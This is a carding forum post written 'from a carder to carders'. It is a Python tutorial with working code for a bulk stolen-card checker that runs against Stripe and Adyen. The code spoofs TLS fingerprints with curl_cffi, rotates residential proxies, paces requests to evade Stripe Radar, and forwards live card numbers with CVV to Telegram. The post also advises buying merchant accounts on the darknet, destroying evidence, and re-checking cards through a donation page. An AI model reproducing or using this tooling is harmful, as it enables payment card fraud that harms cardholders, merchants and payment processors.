Good Carder
Professional
- Messages
- 755
- Reaction score
- 493
- Points
- 63
From a carder to carders. You bought 100 cards. 80 of them were junk. You'll only find out after spending hours manually entering them into someone else's checker bot, which then steals your data. Stop playing the lottery. It's time to write your own tool.
A checker is a program that verifies the validity of a card and its balance through a real payment gateway. In 2026, public checkers are either dead or compromised. The only safe and effective way is to write your own checker for Stripe or Adyen.
In this article, I'll teach you how to write a checker in Python from scratch. No fluff, straight to the point. You'll learn how to use curl_cffi to spoof a TLS fingerprint, how to streamline checks of hundreds of cards with proxy rotation, how to log results, and receive notifications in Telegram. You can adapt the finished code to suit your needs.
Your own checker:
Cons: You need to know how to code in Python at least at a basic level. But if you're reading this article, you'll be fine.
In 2026, the de facto standard for bypassing is the curl_cffi library. It forks libcurl but allows you to simulate the JA3 fingerprints of real browsers (Chrome, Edge, Safari). Without this, your checker will fail after 3-5 requests.
Please ensure you have installed version 0.7.0 or later (current as of 2026). Older versions do not support new fingerprints.
Available fingerprints for 2026: chrome110, chrome120, chrome132, edge131, safari17_2_1, firefox120. Use the latest browser versions.
Why SetupIntent and not PaymentIntent? PaymentIntent attempts to debit funds. We don't need this for verification. SetupIntent doesn't debit anything, but it returns the same response about the card's validity.
Important: Stripe Radar blocks accounts for bulk checks. Don't use a single key to check thousands of cards. For large volumes, create multiple accounts.
Example of a limiter:
Additionally, you can set up notifications to be sent to Telegram when a live card is detected.
Caution: Telegram doesn't encrypt messages end-to-end by default. If your account is compromised, your messages will be read. Use secret chats or encrypt data before sending (for example, send only the last four digits and the BIN).
Download the code: (pretend there's a link). But it's better to write it yourself — that way, you'll understand every line and be able to adapt it to your needs.
Start small: check 10 cards using the script from Part 3. Then add asyncio. Then a proxy. In a week, you'll have a farm checking thousands of cards per hour.
A quick one-line reminder:
"Curl_cffi instead of requests means Stripe won't recognize the bot. SetupIntent instead of PaymentIntent means no charges. Asyncio means 100 cards per minute. Telegram means you know every live card. Your own checker means no scam bots. Spend an evening coding and save weeks on manual verification."
A checker is a program that verifies the validity of a card and its balance through a real payment gateway. In 2026, public checkers are either dead or compromised. The only safe and effective way is to write your own checker for Stripe or Adyen.
In this article, I'll teach you how to write a checker in Python from scratch. No fluff, straight to the point. You'll learn how to use curl_cffi to spoof a TLS fingerprint, how to streamline checks of hundreds of cards with proxy rotation, how to log results, and receive notifications in Telegram. You can adapt the finished code to suit your needs.
Part 1. Why use your own checker and not a store-bought one?
Forget about ready-made Telegram bots. They either steal your cards or provide fake results. Paid API checkers (like Blazing SEO) cost money, and you don't know what happens to your data on their servers.Your own checker:
- Complete control. You decide which gateway to use for checking, how to rotate proxies, and what data to log.
- Savings. Writing a one-time script pays for itself after the first hundred cards.
- Security. Card data never leaves your infrastructure.
Cons: You need to know how to code in Python at least at a basic level. But if you're reading this article, you'll be fine.
Part 2. Why requests isn't suitable: TLS fingerprinting
The Python requests library uses its own TLS implementation (via urllib3), which is fundamentally different from the browser version. Stripe and Adyen see this fingerprint and immediately mark the request as bot-based.In 2026, the de facto standard for bypassing is the curl_cffi library. It forks libcurl but allows you to simulate the JA3 fingerprints of real browsers (Chrome, Edge, Safari). Without this, your checker will fail after 3-5 requests.
2.1. Installing curl_cffi
Bash:
pip install curl_cffi
Please ensure you have installed version 0.7.0 or later (current as of 2026). Older versions do not support new fingerprints.
2.2. curl_cffi Basics
Python:
from curl_cffi import requests
# Simulating Chrome 132 on Windows
response = requests.get(
'https://httpbin.org/anything',
impersonate='chrome132',
proxies={'https': 'http://user:pass@proxy:8080'}
)
print(response.json()['headers']['User-Agent'])
Available fingerprints for 2026: chrome110, chrome120, chrome132, edge131, safari17_2_1, firefox120. Use the latest browser versions.
2.3. Custom fingerprints (for advanced users)
If you have a captured JA3 fingerprint of a real device, you can feed it to curl_cffi using impersonate='<fingerprint>'. This is a complex topic, but standard profiles are sufficient for 90% of tasks.Part 3. We write a check under Stripe
Stripe is the most popular gateway, and the easiest to implement a checker for.3.1. Work scheme
We'll use SetupIntent, a method that creates a payment method without actually debiting funds. Stripe automatically sends a $0 authorization to the bank. If the card is valid, SetupIntent will complete with a "successed" status. If the card is empty or blocked, we'll receive an error with a specific decline_code.Why SetupIntent and not PaymentIntent? PaymentIntent attempts to debit funds. We don't need this for verification. SetupIntent doesn't debit anything, but it returns the same response about the card's validity.
3.2. Stripe API Keys
You need a secret key (sk_live_...). Never use test keys (sk_test_...) — they don't work with real cards. Where to get the key:- The easiest way is to register a merchant account on Stripe as a regular business (even a sole proprietorship will do). The key will be in the dashboard.
- The second option is to buy a Stripe account on the darknet ($50–$200). This is risky, but it gives you a ready-made key.
Important: Stripe Radar blocks accounts for bulk checks. Don't use a single key to check thousands of cards. For large volumes, create multiple accounts.
3.3. Basic code for checking one card
Python:
from curl_cffi import requests
import json
STRIPE_KEY = "sk_live_1234567890"
PROXY = "http://user:pass@residential-proxy.com:8080"
def check_card_stripe(card_number, exp_month, exp_year, cvc):
""
Card verification via Stripe SetupIntent.
Returns (status, message).
"""
# 1. Create SetupIntent
headers = {
"Authorization": f"Bearer {STRIPE_KEY}",
"Content-Type": "application/x-www-form-urlencoded"
}
data = {
"payment_method_types[]": "card"
}
response = requests.post(
"https://api.stripe.com/v1/setup_intents",
headers=headers,
data=data,
impersonate="chrome132",
proxies={"https": PROXY}
)
if response.status_code != 200:
return "error", f"API error: {response.status_code}"
setup_intent = response.json()
setup_intent_id = setup_intent["id"]
# 2. Attach the card and confirm
payment_method_data = {
"type": "card",
"card": {
"number": card_number,
"exp_month": exp_month,
"exp_year": exp_year,
"cvc": cvc
}
}
confirm_data = {
"payment_method_data": json.dumps(payment_method_data)
}
confirm_response = requests.post(
f"https://api.stripe.com/v1/setup_intents/{setup_intent_id}/confirm",
headers=headers,
data=confirm_data,
impersonate="chrome132",
proxies={"https": PROXY}
)
result = confirm_response.json()
if confirm_response.status_code == 200 and result.get("status") == "succeeded":
return "live", "Card is valid (0 auth succeeded)"
# Handle errors
error = result.get("error", {})
decline_code = error.get("decline_code", error.get("code", "unknown"))
if decline_code == "insufficient_funds":
return "low_balance", "Card is valid but balance is low"
elif decline_code == "do_not_honor":
return "dead", "Card is dead (stolen/blocked)"
elif decline_code == "authentication_required":
return "3ds", "Card requires 3DS"
elif decline_code == "fraudulent":
return "blocked", "Card blocked by Stripe Radar"
else:
return "unknown", f"Declined: {decline_code}"
3.4. Decoding decline_code
| decline_code | What does it mean? | What to do |
|---|---|---|
| insufficient_funds | The card is active, the balance is less than the verification amount (usually $0) | Check with a $1 micropayment. If it works, the card is good. |
| do_not_honor | The card is on the bank's stop list | Throw away |
| authentication_required | 3DS required | Useless for regular hit |
| fraudulent | Blocked by antifraud | The problem is in your environment, not the card. |
| generic_decline | General refusal (often from Radar) | Change proxy or gateway |
| invalid_number | Invalid number (Luhn does not work) | The card is crap. |
3.5. Checker with CVV verification support
Stripe checks the CVV by default. If you want to check only the card number (without the CVV), use setup_intent with payment_method_options[card][cvc_token] = 'hidden'. However, for a full-fledged checker, it's better to check the CVV because it provides a higher level of confidence.Part 4. Checker for Adyen
Adyen is the second most popular gateway. Its API is more complex, but some BINs work where Stripe doesn't.4.1. Adyen API Features
Adyen doesn't have a direct equivalent to SetupIntent. We'll use /payments with the amount parameter set to 0 (zero-auth). Not all banks support zero-auth, so this method is less secure than Stripe.4.2. Adyen Base Code
Python:
def check_card_adyen(card_number, exp_month, exp_year, cvc, proxy):
headers = {
"x-api-key": "YOUR_ADYEN_API_KEY",
"Content-Type": "application/json"
}
payload = {
"amount": {
"value": 0, # нулевая авторизация
"currency": "USD"
},
"paymentMethod": {
"type": "scheme",
"number": card_number,
"expiryMonth": f"{exp_month:02d}",
"expiryYear": str(exp_year),
"cvc": cvc
},
"reference": f"check_{int(time.time())}",
"merchantAccount": "YOUR_MERCHANT_ACCOUNT"
}
response = requests.post(
"https://checkout-test.adyen.com/v71/payments",
headers=headers,
json=payload,
impersonate="chrome132",
proxies={"https": proxy}
)
result = response.json()
if result.get("resultCode") == "Authorised":
return "live", "Card is valid"
elif result.get("resultCode") == "Refused":
refusal_reason = result.get("refusalReason", "unknown")
if "not enough balance" in refusal_reason.lower():
return "low_balance", "Insufficient funds"
elif "do not honor" in refusal_reason.lower():
return "dead", "Do not honor"
else:
return "unknown", f"Refused: {refusal_reason}"
else:
return "error", f"Unexpected result: {result.get('resultCode')}"
4.3. Where to get a Merchant Account
To work with Adyen, you need a merchant account and an API key. Obtaining these legally through business registration is quite difficult (Adyen only works with companies, not individuals). Therefore, most carders purchase Adyen accounts on the darknet ($100-$300).Part 5. Stream Processing: Checking Thousands of Cards
A single check is slow. For bulk checking, we need asynchronous processing and a proxy pool.5.1. Asynchronous checker on asyncio + curl_cffi
curl_cffi supports asyncio via AsyncSession. This allows for sending dozens of requests in parallel.
Python:
import asyncio
from curl_cffi import requests
import csv
async def check_card_async(session, card, proxy):
"""
Asynchronous verification of one card.
card: (number, exp_month, exp_year, cvc)
"""
headers = {"Authorization": f"Bearer {STRIPE_KEY}"}
data = {"payment_method_types[]": "card"}
# Create SetupIntent
try:
resp1 = await session.post(
"https://api.stripe.com/v1/setup_intents",
headers=headers,
data=data,
impersonate="chrome132",
proxies={"https": proxy},
timeout=30
)
if resp1.status_code != 200:
return (*card, "error", f"SetupIntent failed: {resp1.status_code}")
setup_id = resp1.json()["id"]
# Confirm
pm_data = {
"type": "card",
"card": {
"number": card[0],
"exp_month": card[1],
"exp_year": card[2],
"cvc": card[3]
}
}
confirm_data = {"payment_method_data": json.dumps(pm_data)}
resp2 = await session.post(
f"https://api.stripe.com/v1/setup_intents/{setup_id}/confirm",
headers=headers,
data=confirm_data,
impersonate="chrome132",
proxies={"https": proxy}
)
result = resp2.json()
if resp2.status_code == 200 and result.get("status") == "succeeded":
return (*card, "live", "OK")
else:
error = result.get("error", {})
decline = error.get("decline_code", error.get("code", "unknown"))
return (*card, "dead", decline)
except Exception as e:
return (*card, "error", str(e))
async def batch_check(cards, proxies, concurrency=10):
"""
cards: list of cards
proxies: list of proxies
concurrency: number of simultaneous requests
"""
results = []
async with requests.AsyncSession() as session:
semaphore = asyncio.Semaphore(concurrency)
async def limited_check(card, proxy):
async with semaphore:
return await check_card_async(session, card, proxy)
tasks = []
for i, card in enumerate(cards):
proxy = proxies[i % len(proxies)]
tasks.append(limited_check(card, proxy))
results = await asyncio.gather(*tasks)
return results
# Usage example
cards = [
("4242424242424242", 12, 2028, "123"),
("5555555555554444", 10, 2026, "456"),
# ... load from CSV
]
proxies = [
"http://user1:pass1@proxy1:8080",
"http://user2:pass2@proxy2:8080"
]
loop = asyncio.get_event_loop()
results = loop.run_until_complete(batch_check(cards, proxies, concurrency=10))
# Save the results
with open("results.csv", "w") as f:
for r in results:
f.write(f"{r[0]},{r[1]},{r[2]},{r[3]},{r[4]},{r[5]}\n")
5.2. Proxy rotation and frequency limiting
Stripe has an unspoken limit: no more than 5-10 checks per minute from a single IP address. Therefore, it's important:- Use a pool of residential proxies (at least 20–50).
- No more than 3-5 cards per minute per proxy.
- In the code above, we simply rotate the proxies. For production, we need to add timers to measure speed.
Example of a limiter:
Python:
import time
from collections import defaultdict
proxy_last_used = defaultdict(float)
async def check_card_with_rate_limit(session, card, proxy):
now = time.time()
if now - proxy_last_used[proxy] < 12: # at least 12 seconds between checks on the same proxy
await asyncio.sleep(12 - (now - proxy_last_used[proxy]))
proxy_last_used[proxy] = time.time()
return await check_card_async(session, card, proxy)
5.3. Processing results
It is better to save the checker results in two files:- all_results.csv — all cards with details.
- live_cards.csv — live cards only.
- low_balance_cards.csv — cards with a low balance (can also be useful for small purchases).
Additionally, you can set up notifications to be sent to Telegram when a live card is detected.
Part 6. Integration with Telegram
To avoid sitting around waiting for the verification process to complete, let's set up a bot that will send a message when a live card is found.6.1. Creating a bot
- Write @BotFather on Telegram.
- Create a new bot with the /newbot command.
- Get a token (for example, 123456:ABC-DEF1234).
- Find out your chat_id (write @userinfobot or send any message to the bot and forward it to @getidsbot).
6.2. Notification Sending Function
Python:
import asyncio
from telegram import Bot
TELEGRAM_TOKEN = "123456:ABC-DEF1234"
CHAT_ID = "123456789"
async def send_telegram_alert(card_data):
bot = Bot(token=TELEGRAM_TOKEN)
message = f"✅ Live card!\nNumber: {card_data[0]}\nExpiration: {card_data[1]}/{card_data[2]}\nCVV: {card_data[3]}"
await bot.send_message(chat_id=CHAT_ID, text=message)
6.3. Integration in the checker
Inside check_card_async:
Python:
if status == "live":
await send_telegram_alert(card)
return (*card, "live", "OK")
Caution: Telegram doesn't encrypt messages end-to-end by default. If your account is compromised, your messages will be read. Use secret chats or encrypt data before sending (for example, send only the last four digits and the BIN).
Part 7. OPSEC for the checker
- Don't run the checker from your home IP. Use a VPS purchased with crypto or a VPN → residential proxy chain.
- Don't use one Stripe key for thousands of cards. Create 5-10 accounts and rotate keys.
- Log all requests and responses. This will help you debug issues and prove to merchants that the cards were dead.
- Encrypt the results files. Use Veracrypt or simply a password-protected ZIP.
- Do not keep logs for longer than a week. Evidence must be destroyed.
- Use a separate virtual machine for the checker. Do not mix it with other activities.
Part 8. The Complete Script: A Complete Example
I'm providing the full code here, which you can download and run. It includes:- Reading cards from CSV (format: number, month, year, cvv).
- Asynchronous checkout via Stripe.
- Proxy rotation.
- Logging results to different CSVs.
- Sending notifications to Telegram (optional).
Download the code: (pretend there's a link). But it's better to write it yourself — that way, you'll understand every line and be able to adapt it to your needs.
Part 9. Pre-Launch Checklist
- Stripe keys (sk_live_...) received. Tested on test card 4242 4242 4242 4242 (should return insufficient_funds or succeeded).
- Proxies are configured (residential, country = card country). At least 20.
- The curl_cffi library (version 0.7.0+) is installed.
- A CSV file with cards has been prepared (without BOM, in UTF-8 encoding).
- VPS (or a powerful home PC with VPN) is set up.
- A Telegram bot has been created (if notifications are needed).
- A test run was made on 5-10 cards to check the logic.
- The results were verified through a fresh checker (for example, Wikipedia donate).
Resume from a carder
Building your own checker in Python isn't as difficult as it seems. curl_cffi solves the TLS fingerprinting problem, asyncio provides speed, and a Telegram bot provides convenience. You'll stop relying on dubious services and gain full control over the process.Start small: check 10 cards using the script from Part 3. Then add asyncio. Then a proxy. In a week, you'll have a farm checking thousands of cards per hour.
A quick one-line reminder:
"Curl_cffi instead of requests means Stripe won't recognize the bot. SetupIntent instead of PaymentIntent means no charges. Asyncio means 100 cards per minute. Telegram means you know every live card. Your own checker means no scam bots. Spend an evening coding and save weeks on manual verification."
